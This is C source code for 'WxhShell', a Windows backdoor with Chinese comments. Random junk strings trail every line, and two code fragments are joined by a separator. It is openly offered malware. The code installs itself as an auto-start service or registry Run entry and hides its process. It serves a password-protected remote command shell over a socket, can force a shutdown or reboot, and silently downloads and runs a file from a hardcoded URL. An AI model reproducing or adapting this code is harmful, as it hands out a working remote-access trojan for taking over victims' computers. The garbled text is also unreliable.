    ExitThread(0); @LKQ-<dZG  
    } zN4OrG 0  
    break; 1PkCWRpR  
    } +$,Re.WnP  
  // 关机 ;Ba%aaHl  
  case 'd': { jhNFaBrS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &7aWVKon  
    if(Boot(SHUTDOWN)) i6`"e[aT[o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TC\+>LXiZ  
    else { W7i|uTM  
    closesocket(wsh); K9lgDk"i  
    ExitThread(0); SA x9cjj+  
    } y/lF1{}5  
    break; kXMp()N8`  
    } -Aj)<KNx[  
  // 获取shell gb ga"WO  
  case 's': { f0Q6sVZHa  
    CmdShell(wsh); R;& >PFmq  
    closesocket(wsh); &v\F ah U  
    ExitThread(0); T X`X5j  
    break; 5/48w-fnZ  
  } ZS Med(//b  
  // 退出 6Z/`p~e  
  case 'x': { k_=SDm a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .J#'k+>  
    CloseIt(wsh); ejRK-!  
    break; R{hX--|j  
    } -DDA b(2*  
  // 离开 -! \3;/  
  case 'q': { 0r]n 0?x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v1h(_NLI!  
    closesocket(wsh); QbU5FPiN  
    WSACleanup(); >&L|oq7$  
    exit(1); C3AWXO ^  
    break; <QtZ6-;_f  
        } ]]xKc5CT  
  } N&8TG  
  } iP/v "g"g  
[)H 6`w  
  // 提示信息 _iwG'a[`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^({)t  
} }E`Y.= S  
  } P{L=u74b{x  
Re%[t9 F&  
  return; FU|brS t  
} 5Z=4%P*I  
K2m>D=w  
// shell模块句柄 M 8^ID #  
int CmdShell(SOCKET sock) ;w{<1NH2+.  
{ *miG<  
STARTUPINFO si; ~cz}C("Z  
ZeroMemory(&si,sizeof(si)); -15e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 01bCP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2Gyq40  
PROCESS_INFORMATION ProcessInfo; C*`WMP*  
char cmdline[]="cmd"; D(cD8fn,J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j:9M${~  
  return 0; "tCI_ Zi;  
} #-az]s|N  
Bz+oM N#XJ  
// 自身启动模式 7T[~~V^x  
int StartFromService(void) mY|c7}>V;  
{ cJKnB!iL5  
typedef struct J_s`G  
{ ^0,}y]5p  
  DWORD ExitStatus; OM'iJB6=  
  DWORD PebBaseAddress; / "m s  
  DWORD AffinityMask; 2g(_Kdj*{  
  DWORD BasePriority; +]l?JKV  
  ULONG UniqueProcessId; $e^"Inhtqp  
  ULONG InheritedFromUniqueProcessId; O7.V>7Y9H  
}   PROCESS_BASIC_INFORMATION; ^Z (cV g  
vE]ge  
PROCNTQSIP NtQueryInformationProcess; zzG=!JR  
yoE-a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]+lT*6P*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +'H[4g`  
G/ x6zdk  
  HANDLE             hProcess; ,@Csa#  
  PROCESS_BASIC_INFORMATION pbi; Q0*E&;|  
'r'=%u$1C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m:_#kfC&K"  
  if(NULL == hInst ) return 0; (>`_N%_  
hV3]1E21"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a%q,P @8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vjs2Yenx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )L<.;`g4x  
kHg|!  
  if (!NtQueryInformationProcess) return 0; ? Fqh i  
%Tp9G Gt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LP3#f{U  
  if(!hProcess) return 0; mQj#\<*  
at>_EiS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; NT6jwK.?)?  
j;$f[@0o  
  CloseHandle(hProcess); oKGH|iVEe  
?[Yn<|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %6ckau1_;  
if(hProcess==NULL) return 0; a$W O} g?  
t!D'ZLw  
HMODULE hMod; osc8;B/  
char procName[255]; ;5X6`GlS#5  
unsigned long cbNeeded; S iNgV\('U  
2d[tcn$;h]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <h(AJX7wsD  
Vy& X1lG:  
  CloseHandle(hProcess); dcKpsX  
Uahh|> s  
if(strstr(procName,"services")) return 1; // 以服务启动 qMaO1cE\  
AyJl:aN^  
  return 0; // 注册表启动 \Y,P  
} ]W3u~T*  
~#g c{ C@  
// 主模块 fMwF|;  
int StartWxhshell(LPSTR lpCmdLine) ~'*23]j  
{ f}dlQkZ(  
  SOCKET wsl; 4n#u?)  
BOOL val=TRUE; W{Qb*{9  
  int port=0; j'*.=cwsp  
  struct sockaddr_in door; o. $ 48h(  
/@"mQx~[q  
  if(wscfg.ws_autoins) Install(); ' !huU   
dC<%D'L*  
port=atoi(lpCmdLine); ,WdSJ BK'a  
%g*nd#wG  
if(port<=0) port=wscfg.ws_port; s=$xnc}mf  
H:b"Vd"x9  
  WSADATA data; czw:xG!&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %n]jsdE^|  
+R?E @S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oVqx)@$K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BTsvL>Wy  
  door.sin_family = AF_INET; Qc33C A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9X[378f+(  
  door.sin_port = htons(port); 0MT?}D&TL  
j gV^{8qG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z4 z|B&  
closesocket(wsl); +;H=_~b  
return 1; ko.% @Y(=  
} W)`>'X`  
,!SbH  
  if(listen(wsl,2) == INVALID_SOCKET) { q2k}bb +  
closesocket(wsl); uP7|#>1%  
return 1; \>T1&JT  
} 1`II%mf[  
  Wxhshell(wsl); ~+6#4<M.~  
  WSACleanup(); d+Mogku2  
G>Bgw>#_  
return 0; 2!f'l'}  
n n[idw  
} "% i1zQo&  
9U9ghWH8  
// 以NT服务方式启动 NgGpLdaC2v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `,  |l  
{ GNG.N)q#C  
DWORD   status = 0; C _W]3  
  DWORD   specificError = 0xfffffff; uPFbKSJj  
4P2p|Gc3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EZQ!~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uxrNkZia  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Nf~B 1vkp  
  serviceStatus.dwWin32ExitCode     = 0; Q<osYO{l  
  serviceStatus.dwServiceSpecificExitCode = 0; v&^N+>p  
  serviceStatus.dwCheckPoint       = 0; _qit$#wK;  
  serviceStatus.dwWaitHint       = 0; LGy!{c  
Y5>'(A>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BZQJ@lk5  
  if (hServiceStatusHandle==0) return; +'e3YF+'  
(_q&QI0{  
status = GetLastError(); ~O~we  
  if (status!=NO_ERROR) wS2N,X/Y  
{  GwD"j]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QD[l 6  
    serviceStatus.dwCheckPoint       = 0; 51%<N\>/4  
    serviceStatus.dwWaitHint       = 0; KbRKPA`  
    serviceStatus.dwWin32ExitCode     = status; lVb;,C%K  
    serviceStatus.dwServiceSpecificExitCode = specificError; k|^nrjStC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5.)/gK2$  
    return; *!(?=9[  
  } #`Et{6W S  
pQxi0/dp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "Zicac@N  
  serviceStatus.dwCheckPoint       = 0; QeAkuqT'[  
  serviceStatus.dwWaitHint       = 0; _nnl+S>K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y)4D$9:  
} mCpoaGV_  
BUKh5L  
// 处理NT服务事件,比如:启动、停止 vCNYqa)m:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gs|%3k|  
{ =mk7'A>l  
switch(fdwControl) W,n0'";')  
{ hMs}r,*  
case SERVICE_CONTROL_STOP: hAZ"M:f  
  serviceStatus.dwWin32ExitCode = 0; .!t' &eV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SY2B\TV  
  serviceStatus.dwCheckPoint   = 0; 58My6(5y  
  serviceStatus.dwWaitHint     = 0; xH8nn3U  
  { dkf?lmC+M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p>p=nLK  
  } 5B( r[Ni b  
  return; L7*~8Y  
case SERVICE_CONTROL_PAUSE: Z-j%``I?h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {4{ACp  
  break; s.I=H^ T  
case SERVICE_CONTROL_CONTINUE: !'C^qrh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S,v9\wN.  
  break; Fx0<!_tY-  
case SERVICE_CONTROL_INTERROGATE: x2TCw  
  break; #H1yjJQ /x  
}; DI!l.w5P_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]IkjZ=  
} |^@TA=_  
Kc\0-3 Z  
// 标准应用程序主函数 Da8qR+*x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,k@fX oW  
{ ^IM;D)X&:  
sM~|}|p  
// 获取操作系统版本 +B'9!t4 2  
OsIsNt=GetOsVer(); _Oq (&I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $0K9OF9$  
/^0Hi4+\  
  // 从命令行安装 GYv2 ^IB:  
  if(strpbrk(lpCmdLine,"iI")) Install(); `&>!a  
JX/rAnc@  
  // 下载执行文件 3!CI=(^IY  
if(wscfg.ws_downexe) { P*(lc:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4F 8`5)RM  
  WinExec(wscfg.ws_filenam,SW_HIDE); mnXaf)"  
} )r1Z}X(#d  
mrd(\&EhA  
if(!OsIsNt) { P[ KJuc  
// 如果时win9x,隐藏进程并且设置为注册表启动 e[n T'e  
HideProc(); c#`Z[  
StartWxhshell(lpCmdLine); P67r+P,  
} Khw!+!(H  
else fwxyZBr  
  if(StartFromService()) g[@]OsX   
  // 以服务方式启动 |2c'0Ibu  
  StartServiceCtrlDispatcher(DispatchTable); 4y21v|(9  
else WFN5&7$W  
  // 普通方式启动 fX} dh9  
  StartWxhshell(lpCmdLine); FK={ %  
I%*o7"  
return 0; /2?GRwU~P  
} jB?Tua$,s  
rmR7^Ycv/  
AytHnp\H  
b9w9M&?fT  
=========================================== {?BxVDD07  
le|e 4f*+  
N9:xtrJ]_J  
O&\;BF5:R  
m[ txKj.=_  
7=mU["raz`  
" \\x``*  
W)w@ju$Ko  
#include <stdio.h> ]X4A)%i  
#include <string.h> -Vt*(L  
#include <windows.h> A'6>"=ziP  
#include <winsock2.h> Y R#_<o  
#include <winsvc.h> H`aqpa"C  
#include <urlmon.h> MBDu0 [c  
U{n 0Z  
#pragma comment (lib, "Ws2_32.lib") >,A:zbs&  
#pragma comment (lib, "urlmon.lib") 8TC%]SvYim  
xQ7>u -^  
#define MAX_USER   100 // 最大客户端连接数 :%)l* [  
#define BUF_SOCK   200 // sock buffer y$#mk3(e~t  
#define KEY_BUFF   255 // 输入 buffer Bk>Ch#`Bw  
i@Q)`>4  
#define REBOOT     0   // 重启 mTYEK4}  
#define SHUTDOWN   1   // 关机 *w59BO&M4  
:kfl q  
#define DEF_PORT   5000 // 监听端口 )DfmO  
c2Ua!p(c  
#define REG_LEN     16   // 注册表键长度 >G92k76G  
#define SVC_LEN     80   // NT服务名长度 $g$~TuA w  
[Qa0uM#SU  
// 从dll定义API *r!1K!c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DKqFe5rw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JAj<*TB.%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XtRfzqg?K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lY[>}L*H8  
(k"|k  
// wxhshell配置信息 ',n;ag`c  
struct WSCFG { -N(y+~wN  
  int ws_port;         // 监听端口 )zlksF  
  char ws_passstr[REG_LEN]; // 口令 KS}Ci-  
  int ws_autoins;       // 安装标记, 1=yes 0=no L,of@>  
  char ws_regname[REG_LEN]; // 注册表键名 ,miU'<8tQ|  
  char ws_svcname[REG_LEN]; // 服务名 W%hdS<b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G1  %c<1Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AGQCk*dm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2GLq#")P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  %1<No/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [Maon.t!l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Mcj4GjV6:"  
PA 5ET@mD  
}; g3 6oEz~|  
k$y(H;XA  
// default Wxhshell configuration C(b"0>  
struct WSCFG wscfg={DEF_PORT, 9Gfm?.O5  
    "xuhuanlingzhe", X?z5IL;rt  
    1, .%+'Ts#ie  
    "Wxhshell", 9G` 2t~%  
    "Wxhshell", 18z{d9'F   
            "WxhShell Service", 6_=qpP-?  
    "Wrsky Windows CmdShell Service", "B*a| 'n!  
    "Please Input Your Password: ", 9*GwW&M%1_  
  1, J?)vsnD.H  
  "http://www.wrsky.com/wxhshell.exe", (l{+ T#  
  "Wxhshell.exe" \xkLI:*\  
    }; e'[T5HI  
9m0`;~!  
// 消息定义模块 yZ~<! 5.P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +"Ih'bb`j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D-9zg\\'`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l " pCxA  
char *msg_ws_ext="\n\rExit."; gP/[=:  
char *msg_ws_end="\n\rQuit."; q@F"fjWBr  
char *msg_ws_boot="\n\rReboot..."; m8n!<_NFt(  
char *msg_ws_poff="\n\rShutdown..."; L!V`Sb  
char *msg_ws_down="\n\rSave to "; Wg[?i C*~  
.{`+bT^b<2  
char *msg_ws_err="\n\rErr!"; (9*s:)zD-  
char *msg_ws_ok="\n\rOK!"; ;@Ep?S @  
`!S5FE"-  
char ExeFile[MAX_PATH]; bxyEn'vNvQ  
int nUser = 0; !H{)L@f  
HANDLE handles[MAX_USER]; Wa #,>  
int OsIsNt; `~UCWK  
Fx4C]S  
SERVICE_STATUS       serviceStatus; s=(~/p#M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `]\4yTd  
p|,K2^?Y  
// 函数声明 yiQke   
int Install(void); pu=T pSZ  
int Uninstall(void); 1)?^N`xF  
int DownloadFile(char *sURL, SOCKET wsh); x,E#+ m  
int Boot(int flag); L$zT`1Hy  
void HideProc(void); J9)wt ?%j  
int GetOsVer(void); 8xj4N%PA  
int Wxhshell(SOCKET wsl); AJ2Xq*fk  
void TalkWithClient(void *cs); l<PGUm:_  
int CmdShell(SOCKET sock); E87/B%R  
int StartFromService(void); YH)U nql  
int StartWxhshell(LPSTR lpCmdLine); U(-9xp+  
FRF3V>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 75K~ebRr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z%Y=Lx  
UYW%% 5p?  
// 数据结构和表定义 }!0,(<EsV  
SERVICE_TABLE_ENTRY DispatchTable[] = (sS[F-2R7  
{ H|0B*i@81  
{wscfg.ws_svcname, NTServiceMain}, 4v3y3  
{NULL, NULL} SjKIn-  
}; j_&/^-;e  
}CsUZ&*&  
// 自我安装  ^wb -s  
int Install(void) / Zz2=gDY  
{ lcJ`OLG  
  char svExeFile[MAX_PATH]; .}ohnnJB0  
  HKEY key; +hY/4Tx<  
  strcpy(svExeFile,ExeFile); s.1(- "DU  
q]<Xx{_  
// 如果是win9x系统,修改注册表设为自启动  1k2Ck  
if(!OsIsNt) { r NU,(htS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~IE:i-Kz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :eQ@I+  
  RegCloseKey(key); 9`dQ7z.8t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8PXleAn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j0 =`Jf  
  RegCloseKey(key); 4 E 4o=Z|K  
  return 0; akm)X0!-}  
    } 3tnYK&  
  } dAEz hR[=  
} q5lRc=.b[  
else { kC|tv{g#>  
|t]-a%A=w  
// 如果是NT以上系统,安装为系统服务 *Ei~2O}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sN-5vYfC*  
if (schSCManager!=0) b44H2A .  
{ 7X|&:V.s|  
  SC_HANDLE schService = CreateService 8x58sOR=  
  ( "^_p>C)T  
  schSCManager, ]a _;*Xq8d  
  wscfg.ws_svcname, KT?vs5jg$&  
  wscfg.ws_svcdisp, b\=0[kBQw  
  SERVICE_ALL_ACCESS, 'G-VhvM v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , of+$TKQNpN  
  SERVICE_AUTO_START, >GT0 x  
  SERVICE_ERROR_NORMAL, r}f -.Fo  
  svExeFile, J4`08,  
  NULL, hJFQ/(  
  NULL, >:OOuf#  
  NULL, uAVV4)  
  NULL, N_C\L2  
  NULL $|(roC(  
  ); @|-ydm0  
  if (schService!=0) (5km]`7z  
  { QR4v6*VpD  
  CloseServiceHandle(schService); "ajZ&{Z  
  CloseServiceHandle(schSCManager); !Toq~,a8?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zc/S  
  strcat(svExeFile,wscfg.ws_svcname); NNe'5q9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '?3Hy|}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j{p0yuZ)<  
  RegCloseKey(key); ?_HTOOa  
  return 0; L?al2aopF  
    } diTzolY7  
  } *:YW@Gbm  
  CloseServiceHandle(schSCManager); 5fVdtJk7  
} oWXvkDN   
} .>}we ~O  
.Z/"L@  
return 1; rTmcP23]  
} $#KSvo{otI  
3*8#cSQ/6o  
// 自我卸载 E(u[?  
int Uninstall(void) "}PmAr e  
{ c?IIaj !  
  HKEY key; T( ;BEyc?  
, / 4}CM  
if(!OsIsNt) { 2H]&3kM3X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r/{0Y Fa  
  RegDeleteValue(key,wscfg.ws_regname); DbOWnXV"o  
  RegCloseKey(key); A;2?!i#f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D}3E1`)W  
  RegDeleteValue(key,wscfg.ws_regname); DVpqm6$ Q  
  RegCloseKey(key); .5ingB3%  
  return 0; [=LQ,e$r7  
  }  \f  
} { 0Leua  
} "]JS,g {m  
else { )ZiJl5l@  
z` gR*+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u 4)i7  
if (schSCManager!=0) T}4RlIZF  
{ rJ<v1Yb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CZbp}:|  
  if (schService!=0) IClnh1=  
  { W6wgX0H  
  if(DeleteService(schService)!=0) { ;itz` 9T  
  CloseServiceHandle(schService); [kC-g @  
  CloseServiceHandle(schSCManager); >nTGvLOq  
  return 0; iLS' 47  
  } eb+[=nmP  
  CloseServiceHandle(schService); ,T1 t`  
  } Lww0LH >  
  CloseServiceHandle(schSCManager); iL5+Uf)E3  
} m3,]j\  
} [qid4S~r,&  
]LP&v3  
return 1; \9D '7/$I,  
} srC'!I=s>8  
G]5'U"cj3  
// 从指定url下载文件 C\EV $U,  
int DownloadFile(char *sURL, SOCKET wsh) Fdvex$r&  
{ BBy/b c!  
  HRESULT hr; e `_ [+y  
char seps[]= "/"; j7uiZU;3Rx  
char *token; E#_}y}7JY  
char *file; BU])@~$  
char myURL[MAX_PATH]; K4l,YR;r  
char myFILE[MAX_PATH]; }HXNhv-K  
#ljfcQm  
strcpy(myURL,sURL); rEZa%)XJ  
  token=strtok(myURL,seps); j;<;?IW  
  while(token!=NULL) Oja)J-QXb  
  { RQ|!?\a=  
    file=token; )2FS9h.t  
  token=strtok(NULL,seps); [l'~>  
  } \ Fc"Q@.u  
SRj|XCd  
GetCurrentDirectory(MAX_PATH,myFILE); )LH nDx  
strcat(myFILE, "\\"); gxL5%:@  
strcat(myFILE, file); ywCE2N<-V?  
  send(wsh,myFILE,strlen(myFILE),0); G|X1c}zAL  
send(wsh,"...",3,0); 0y|}}92:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q{mls  
  if(hr==S_OK) 3Jk;+<  
return 0; >#c]rk:  
else Dth<hS,2J  
return 1; Yc\;`C  
GQ)hZt0  
} DA[-( s  
-Z]?v3 9  
// 系统电源模块 Gl}=Q7  
int Boot(int flag) /1Rm^s)2z  
{ bxEb2D  
  HANDLE hToken; ZK_IK)g  
  TOKEN_PRIVILEGES tkp; R}Z"Y xx  
TZPWMCN4  
  if(OsIsNt) { C6O1ype  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F]SexP4:A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hRGK W  
    tkp.PrivilegeCount = 1; S 8h/AW6l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fm:/}7s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WynHcxC  
if(flag==REBOOT) { Bn47O~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q^Oq:l$s  
  return 0; 0Q%'vBX\`  
} QoI@/ jLj  
else { GVn7#0x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F!j@b!J8  
  return 0; g#5g0UP)V  
} p;BdzV>  
  } GEIMCg(TRj  
  else { A CJmy2  
if(flag==REBOOT) { Og"50-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B>#zrCD  
  return 0; pg*'2AT  
} xg\M9&J  
else { e +4p__TmZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a5z.c_7r  
  return 0; 9?bfZF4A=  
} C6CX{IA]  
} 44RZk|U1J{  
J'^BxN&  
return 1; S1E2E3  
} q.~.1 '`!  
"op1xto  
// win9x进程隐藏模块 !bT0kP$3}  
void HideProc(void) @MAk/mb&  
{ Fov/?:f$  
Y5cUOfYT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *Rr,ii  
  if ( hKernel != NULL ) -!(3fO:  
  { aW4tJN%!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f9&D0x?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ldanM>5  
    FreeLibrary(hKernel); J0mY=vX  
  } D\N-ye1LE  
)0fQ(3oOg  
return; y%}Po)X]f  
} a5L#c=  
UQ`%,D  
// 获取操作系统版本 ch \*/  
int GetOsVer(void) zu^?9k  
{ {5^ 'u^E  
  OSVERSIONINFO winfo; {B?%r[nW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zrRt0}?xl  
  GetVersionEx(&winfo); IP&En8W+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7<|1 xOT  
  return 1; #x)G2T'?  
  else ;=*b:y Y  
  return 0; P}DrUND  
} ^ylJ_lN&=1  
V\ !FD5%  
// 客户端句柄模块 UFouIS#L  
int Wxhshell(SOCKET wsl) 2s?j5 Sd  
{ sZ]O&Za~  
  SOCKET wsh; QbxjfW"/+  
  struct sockaddr_in client; Ny\iRU)fN  
  DWORD myID; c^A3|tCi  
p Ic ;9  
  while(nUser<MAX_USER) XRJ<1w:  
{ C.%iQx`   
  int nSize=sizeof(client); kOFEH!9&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i ,4  
  if(wsh==INVALID_SOCKET) return 1; HR.S.(t[_  
ehO F@IA_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >(`|oD`,Y  
if(handles[nUser]==0) #wx0xQ~,J  
  closesocket(wsh); (.<Gde#  
else D'|#5>G  
  nUser++; +_ K7x5g  
  } = Ky1v$<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [~f%z(vI  
o Ep\po1  
  return 0; czdNqk.kh  
} o=w& &B  
frc>0\  
// 关闭 socket 3M+hjc.  
void CloseIt(SOCKET wsh) +@usJkxul  
{ goIn7ei92  
closesocket(wsh); !@ai=p  
nUser--; ~" }t8`vP1  
ExitThread(0); VP0wa>50!  
} YOP=gvZq  
OHp 121  
// 客户端请求句柄 Z&JW}''n|F  
void TalkWithClient(void *cs)  6>Lr  
{ /bfsC& 3  
Fg5>CppH  
  SOCKET wsh=(SOCKET)cs; e|"`W`"-  
  char pwd[SVC_LEN]; 'u_'y  
  char cmd[KEY_BUFF]; QOy+T6en  
char chr[1];  {hZ_f3o  
int i,j; o LuGW5wzj  
:E@"4O?<Y)  
  while (nUser < MAX_USER) { pY ceMZ$  
A;Xn#t ,(K  
if(wscfg.ws_passstr) { _d %H;<_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y;xVB" (  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =WFMqBh<`  
  //ZeroMemory(pwd,KEY_BUFF); i^Ep[3  
      i=0; i7cMe8  
  while(i<SVC_LEN) { 6yv*AmFh  
xh_6@}D2J  
  // 设置超时 ]{.rx),  
  fd_set FdRead; ~Q>97%  
  struct timeval TimeOut; iN<&  
  FD_ZERO(&FdRead); 3xp%o5K  
  FD_SET(wsh,&FdRead); D0lgKQ  
  TimeOut.tv_sec=8; :&&Ps4\Sq  
  TimeOut.tv_usec=0; )/Ee#)z*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I/pavh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R l^ENrv!]  
T% Kj >-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nyow:7p  
  pwd=chr[0]; Rkw)IdB  
  if(chr[0]==0xd || chr[0]==0xa) { ~ NK w}6  
  pwd=0; [@uL)*o_#  
  break;  Q.DtC  
  } 'fy1'^VPAV  
  i++; Beiz*2-}a  
    } =HQH;c"  
R1 hb-  
  // 如果是非法用户,关闭 socket A_CEpG]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ex&f}/F  
} bo0m/hVU  
dAm( uJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fS w00F{T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5d*k[fZ  
$s)G0/~W  
while(1) { }f;Zx)!  
6wqq"6w  
  ZeroMemory(cmd,KEY_BUFF); bJx{mq  
\2L%%M  
      // 自动支持客户端 telnet标准   g(;t,Vy,I  
  j=0; BN|+2D+S  
  while(j<KEY_BUFF) { c03A_2%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j_o6+R k  
  cmd[j]=chr[0]; T,TKt%  
  if(chr[0]==0xa || chr[0]==0xd) { #hH"g  
  cmd[j]=0; 05TZ  
  break; vMRM/.  
  } 1YTnOiYS1  
  j++; q\x*@KQgM  
    } xD8x1-  
+s V$s]U  
  // 下载文件 I'`Q_5s5  
  if(strstr(cmd,"http://")) { yLW iY~Fd  
